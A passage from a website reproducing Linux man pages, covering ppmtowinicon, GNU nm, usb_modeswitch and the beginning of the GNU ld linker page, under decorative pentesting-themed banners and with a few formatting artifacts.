             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1847 - Linux cli command ppmtowinicon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtowinicon and provides detailed information about the command ppmtowinicon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtowinicon.

.

NAME 🖥️ ppmtowinicon 🖥️

convert PPM image into a Windows .ico file

SYNOPSIS

ppmtowinicon

[-andpgms]

[**-output=**output.ico]

[ppmfile [andfile] …]

DESCRIPTION

This program is part of Netpbm(1) .

This program is essentially obsolete; The newer pamtowinicon is better.

ppmtowinicon reads one or more PPM images as input and produces a Microsoft Windows .ico file as output.

A Windows icon contains 1 or more images, at different resolutions and color depths. When Windows wants to display the icon, it searches through the images to find the one that best matches the number of colors and resolution of the display.

Microsoft recommends including at least the following formats in each icon.

  • 16 x 16 - 4 bpp

  • 32 x 32 - 4 bpp

  • 48 x 48 - 8 bpp

If you don’t specify any input files, input is from Standard Input.

Output is to Standard Output unless you specify -output.

Transparency

If you specify the -andmask option, you get (partly) transparent icons. In that case, your arguments are pairs of file names, with the first file name being that of the image and the second file name being that of a standard Netpbm PGM transparency mask (see the pgm format specification(1) ).

In a .ico file, there is no such thing as partial transparency (translucency). Where the PGM mask says completely opaque, the icon will be opaque. Everywhere else, the icon will be transparent. Note that as with any Netpbm program, you can use a PBM image for the transparency mask and ppmtowinicon will treat it like a PGM.

The and mask is like a transparency mask, except for what it signifies in the “not opaque” areas. In the usual case, the foreground image is black in those areas, and in that case the areas are fully transparent – the background shows through the icon. But in general, a not opaque pixel signifies that the background and foreground should be merged as follows: The intensities of the color components in the foreground and background are represented as binary numbers, then corresponding bits of the background and foreground intensities are exclusive-or’ed together. So there is a sort of reverse video effect.

If you don’t want this special effect and instead want straightforward transparency, use the -truetransparent option. This causes ppmtowinicon to make the base image black everywhere your transparency mask says transparent, regardless of what color your input image is at that location.

If you don’t specify -andmask, ppmtowinicon puts all-opaque and masks into the .ico file.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtowinicon recognizes the following command line options:

-andpgms
Include transparency information in the icons. See the transparency section .

**-output=**output.ico
Name of output file. By default, ppmtowinicon writes the icon to Standard Output.

-truetransparent
Make transparency in the icon normal instead of the special reverse video effect. See the transparency section .

SEE ALSO

pamtowinicon(1) , winicontoppm(1) , ppm(1) pgm(1)

AUTHOR

Copyright (C) 2000 by Lee Benfield.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtowinicon.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1848 - Linux cli command x86_64-w64-mingw32ucrt-nm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-nm and provides detailed information about the command x86_64-w64-mingw32ucrt-nm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-nm.

NAME 🖥️ x86_64-w64-mingw32ucrt-nm 🖥️

list symbols from object files

SYNOPSIS

nm [-A|-o|–print-file-name] [-a|–debug-syms] [-B|–format=bsd] [-C|–demangle[=style]] [-D|–dynamic] [-fformat|–format=format] [-g|–extern-only] [-h|–help] [–ifunc-chars=CHARS] [-j|–format=just-symbols] [-l|–line-numbers] [–inlines] [-n|-v|–numeric-sort] [-P|–portability] [-p|–no-sort] [-r|–reverse-sort] [-S|–print-size] [-s|–print-armap] [-t radix|–radix=radix] [-u|–undefined-only] [-U|–defined-only] [-V|–version] [-W|–no-weak] [-X 32_64] [–no-demangle] [–no-recurse-limit|–recurse-limit]] [–plugin name] [–size-sort] [–special-syms] [–synthetic] [–target=bfdname] [–unicode=method] [–with-symbol-versions] [–without-symbol-versions] [objfile…]

DESCRIPTION

GNU nm lists the symbols from object files objfile…. If no object files are listed as arguments, nm assumes the file a.out.

For each symbol, nm shows:

  • The symbol value, in the radix selected by options (see below), or hexadecimal by default.

  • The symbol type. At least the following types are used; others are, as well, depending on the object file format. If lowercase, the symbol is usually local; if uppercase, the symbol is global (external). There are however a few lowercase symbols that are shown for special global symbols (u, v and w).

    “A”
    The symbol’s value is absolute, and will not be changed by further linking.

    “B”

    “b”

    The symbol is in the BSS data section. This section typically contains zero-initialized or uninitialized data, although the exact behavior is system dependent.

    “C”

    “c”

    The symbol is common. Common symbols are uninitialized data. When linking, multiple common symbols may appear with the same name. If the symbol is defined anywhere, the common symbols are treated as undefined references. The lower case c character is used when the symbol is in a special section for small commons.

    “D”

    “d”

    The symbol is in the initialized data section.

    “G”

    “g”

    The symbol is in an initialized data section for small objects. Some object file formats permit more efficient access to small data objects, such as a global int variable as opposed to a large global array.

    “i”
    For PE format files this indicates that the symbol is in a section specific to the implementation of DLLs. For ELF format files this indicates that the symbol is an indirect function. This is a GNU extension to the standard set of ELF symbol types. It indicates a symbol which if referenced by a relocation does not evaluate to its address, but instead must be invoked at runtime. The runtime execution will then return the value to be used in the relocation. Note - the actual symbols display for GNU indirect symbols is controlled by the –ifunc-chars command line option. If this option has been provided then the first character in the string will be used for global indirect function symbols. If the string contains a second character then that will be used for local indirect function symbols.

    “I”
    The symbol is an indirect reference to another symbol.

    “N”
    The symbol is a debugging symbol.

    “n”
    The symbol is in a non-data, non-code, non-debug read-only section.

    “p”
    The symbol is in a stack unwind section.

    “R”

    “r”

    The symbol is in a read only data section.

    “S”

    “s”

    The symbol is in an uninitialized or zero-initialized data section for small objects.

    “T”

    “t”

    The symbol is in the text (code) section.

    “U”
    The symbol is undefined.

    “u”
    The symbol is a unique global symbol. This is a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

    “V”

    “v”

    The symbol is a weak object. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the weak symbol becomes zero with no error. On some systems, uppercase indicates that a default value has been specified.

    “W”

    “w”

    The symbol is a weak symbol that has not been specifically tagged as a weak object symbol. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the symbol is determined in a system-specific manner without error. On some systems, uppercase indicates that a default value has been specified.

    “-”
    The symbol is a stabs symbol in an a.out object file. In this case, the next values printed are the stabs other field, the stabs desc field, and the stab type. Stabs symbols are used to hold debugging information.

    “?”
    The symbol type is unknown, or object file format specific.

  • The symbol name. If a symbol has version information associated with it, then the version information is displayed as well. If the versioned symbol is undefined or hidden from linker, the version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol, then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-A

-o

–print-file-name

Precede each symbol by the name of the input file (or archive member) in which it was found, rather than identifying the input file once only, before all of its symbols.

-a

–debug-syms

Display all symbols, even debugger-only symbols; normally these are not listed.

-B
The same as –format=bsd (for compatibility with the MIPS nm).

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-D

–dynamic

Display the dynamic symbols rather than the normal symbols. This is only meaningful for dynamic objects, such as certain types of shared libraries.

-f format

–format=format

Use the output format format, which can be bsd, sysv, posix or just-symbols. The default is bsd. Only the first character of format is significant; it can be either upper or lower case.

-g

–extern-only

Display only external symbols.

-h

–help

Show a summary of the options to nm and exit.

–ifunc-chars=CHARS
When display GNU indirect function symbols nm will default to using the i character for both local indirect functions and global indirect functions. The –ifunc-chars option allows the user to specify a string containing one or two characters. The first character will be used for global indirect function symbols and the second character, if present, will be used for local indirect function symbols.

  1. The same as –format=just-symbols.

-l

–line-numbers

For each symbol, use debugging information to try to find a filename and line number. For a defined symbol, look for the line number of the address of the symbol. For an undefined symbol, look for the line number of a relocation entry which refers to the symbol. If line number information can be found, print it after the other symbol information.

–inlines
When option -l is active, if the address belongs to a function that was inlined, then this option causes the source information for all enclosing scopes back to the first non-inlined function to be printed as well. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-n

-v

–numeric-sort

Sort symbols numerically by their addresses, rather than alphabetically by their names.

-p

–no-sort

Do not bother to sort the symbols in any order; print them in the order encountered.

-P

–portability

Use the POSIX.2 standard output format instead of the default format. Equivalent to -f posix.

-r

–reverse-sort

Reverse the order of the sort (whether numeric or alphabetic); let the last come first.

-S

–print-size

Print both value and size of defined symbols for the bsd output style. This option has no effect for object formats that do not record symbol sizes, unless –size-sort is also used in which case a calculated size is displayed.

-s

–print-armap

When listing symbols from archive members, include the index: a mapping (stored in the archive by ar or ranlib) of which modules contain definitions for which names.

-t radix

–radix=radix

Use radix as the radix for printing the symbol values. It must be d for decimal, o for octal, or x for hexadecimal.

-u

–undefined-only

Display only undefined symbols (those external to each object file). By default both defined and undefined symbols are displayed.

-U

–defined-only

Display only defined symbols for each object file. By default both defined and undefined symbols are displayed.

-V

–version

Show the version number of nm and exit.

-X
This option is ignored for compatibility with the AIX version of nm. It takes one parameter which must be the string 32_64. The default mode of AIX nm corresponds to -X 32, which is not supported by GNU nm.

–plugin name
Load the plugin called name to add support for extra target types. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then nm iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make nm use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–size-sort
Sort symbols by size. For ELF objects symbol sizes are read from the ELF, for other object types the symbol sizes are computed as the difference between the value of the symbol and the value of the symbol with the next higher value. If the bsd output format is used the size of the symbol is printed, rather than the value, and -S must be used in order both size and value to be printed. Note - this option does not work if –undefined-only has been enabled as undefined symbols have no size.

–special-syms
Display symbols which have a target-specific special meaning. These symbols are usually used by the target for some special processing and are not normally helpful when included in the normal symbol lists. For example for ARM targets this option would skip the mapping symbols used to mark transitions between ARM code, THUMB code and data.

–synthetic
Include synthetic symbols in the output. These are special symbols created by the linker for various purposes. They are not shown by default since they are not part of the binary’s original source code.

–unicode=[default|invalid|locale|escape|hex|highlight]
Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-W

–no-weak

Do not display weak symbols.

–with-symbol-versions

–without-symbol-versions

Enables or disables the display of symbol version information. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2. By default, symbol version information is displayed.

–target=bfdname
Specify an object code format other than your system’s default format.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1849 - Linux cli command usb_modeswitch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command usb_modeswitch and provides detailed information about the command usb_modeswitch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the usb_modeswitch.

NAME 🖥️ usb_modeswitch 🖥️

control the mode of ‘multi-state’ USB devices

SYNOPSIS

usb_modeswitch [-heWQDIvpVPmM23rwKdHSOBGTNALnsRiuagft] [-c filename**]**

DESCRIPTION

Several new USB devices have their proprietary Windows drivers onboard, most of them WWAN and WLAN dongles. When plugged in for the first time, they act like a flash storage and start installing the Windows driver from there. If the driver is installed, it makes the storage device disappear and a new device, mainly composite (e.g. with modem ports), shows up.

On Linux, in most cases the drivers are available as kernel modules, such as “usbserial” or “option”. However, the device initially binds to “usb-storage” by default. usb_modeswitch can then send a provided bulk message (most likely a mass storage command) to the device; this message has to be determined by analyzing the actions of the Windows driver.

In some cases, USB control commands are used for switching. These cases are handled by custom functions, and no bulk message needs to be provided.

Usually, the program is distributed with a set of configurations for many known devices, which allows a fully automatic handling of a device upon insertion, made possible by combining usb_modeswitch with the wrapper script usb_modeswitch_dispatcher which is launched by the udev daemon. This requires a Linux-flavoured system though.

Note that usb_modeswitch itself has no specific Linux dependencies.

OPTIONS

This program follows the usual GNU command line syntax, with long options starting with two dashes (’–’). A summary of options is included below.

-h –help
Show summary of options.

-e –version
Print version information and exit

-v –default-vendor NUM
Vendor ID to look for (mandatory), usually given as hex number (example: 0x12d1). Each USB device is identified by a number officially assigned to the vendor by the USB association and a number for the respective model (product ID) chosen by the vendor

-p –default-product NUM
Product ID to look for (mandatory)

-V –target-vendor NUM
Target vendor ID. When given will be searched for and detected initially for information purposes. If success checking (option -s) is active, providing target IDs (vendor/product) or target class is recommended

-j –find-mbim
Return configuration number with MBIM interface and exit.

-P –target-product NUM
Target product ID

-b –bus-num NUM

-g –device-num NUM
If bus and device number are provided, the handling of a specific device on a specific USB port is guaranteed, in contrast to using only the USB ID. This is important if there are multiple similar devices on a system

-C –target-class NUM
Target Device Class according to the USB specification. Some devices keep their original vendor/product ID after successful switching. To prevent them from being treated again, the device class can be checked. For unswitched devices it is always 8 (storage class), for switched modems it is often 0xff (vendor specific). In composite modes, the class of the first interface is watched

-m –message-endpoint NUM
A specific endpoint to use for data transfers. Only for testing purposes; usually endpoints are determined from the device attributes

-M –message-content STRING
A bulk message to send as a switching command. Provided as a hexadecimal string

-2 –message-content2 STRING

-3 –message-content3 STRING
Additional bulk messages to send as switching commands. Provided as hexadecimal strings. When used with mass storage commands, setting –need-response is strongly advised to comply with specifications and to avoid likely errors

-w –release-delay <milliseconds>
After issuing all bulk messages, wait for the given time before releasing the interface. Required for some modems on older systems (especially after an EJECT message)

-n –need-response
Obsolete. CSW is always attempted to being read after mass storage transfers. No downside

-r –response-endpoint NUM
Try to read the response to a storage command from there. Only for testing purposes; usually endpoints are determined from the device attributes

-K –std-eject
Apply the standard SCSI sequence of “Allow Medium Removal” and “Eject”. Implies -n. One ‘Message’ can be added with -M that will be transmitted after the eject sequence. Used by many modems

-d –detach-only
Just detach the current driver. This is sufficient for some early devices to switch successfully. Otherwise this feature can be used as a ‘scalpel’ for special cases, like separating the driver from individual interfaces

-H –huawei-mode
Send a special control message used by older Huawei devices

-J –huawei-new-mode
Send a specific bulk message used by all newer Huawei devices

-X –huawei-alt-mode
Send an alternative bulk message to Huawei devices

-S –sierra-mode
Send a special control message used by Sierra devices

-G –gct-mode
Send a special control message used by GCT chipsets

-T –kobil-mode
Send a special control message used by Kobil devices

-N –sequans-mode
Send a special control message used by Sequans chipset

-A –mobileaction-mode
Send a special control message used by the MobileAction device

-B –qisda-mode
Send a special control message used by Qisda devices

-E –quanta-mode
Send a special control message used by Quanta devices

-F –pantech-mode NUM
Send a special control message used by Pantech devices. Value NUM will be used in control message as ‘wValue’

-Z –blackberry-mode
Send a special control message used by some newer Blackberry devices

-S –option-mode
Send a special control message used by all Option devices

-O –sony-mode
Apply a special sequence used by Sony Ericsson devices. Implies option –check-success

-L –cisco-mode
Send a sequence of bulk messages used by Cisco devices

-R –reset-usb
Send a USB reset command to the device. Can be combined with any switching method or stand alone. It is always done as the last step of all device interactions. Few devices need it to complete the switching; apart from that it may be useful during testing

-c –config-file FILENAME
Use a specific config file. If any ID or switching options are given as command line parameters, this option is ignored. In that case all mandatory parameters have to be provided on the command line

-f –long-config STRING
Provide device details in config file syntax as a multiline string on the command line

-t –stdinput
Read the device details in config file syntax from standard input, e.g. redirected from a command pipe (multiline text)

-Q –quiet
Don’t show progress or error messages

-W –verbose
Print all settings before running and show libusb debug messages

-D –sysmode
Changes the behaviour of the program slightly. A success message including the effective target device ID is put out and a syslog notice is issued. Mainly for integration with a wrapper script

-s –check-success <seconds>
After switching, keep checking for the result up to the given time. If target IDs or target class were provided, their appearance indicates certain success. Otherwise the disconnection of the original device is rated as likely proof

-I –inquire
Obsolete. Formerly obtained SCSI attributes, now ignored

-i –interface NUM
Select initial USB interface (default: 0). Only for testing purposes

-u –configuration NUM
Select USB configuration (applied after any other possible switching actions)

-a –altsetting NUM
Select alternative USB interface setting (applied after switching). Mainly for testing

AUTHOR

This manual page was originally written by Didier Raboud ([email protected]) for the Debian system. Additions made by Josua Dietze. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation.

The complete text of the current GNU General Public License can be found in http://www.gnu.org/licenses/gpl.txt

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1850 - Linux cli command i686-w64-mingw32-ld.bfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-ld.bfd and provides detailed information about the command i686-w64-mingw32-ld.bfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-ld.bfd.

NAME 🖥️ i686-w64-mingw32-ld.bfd 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
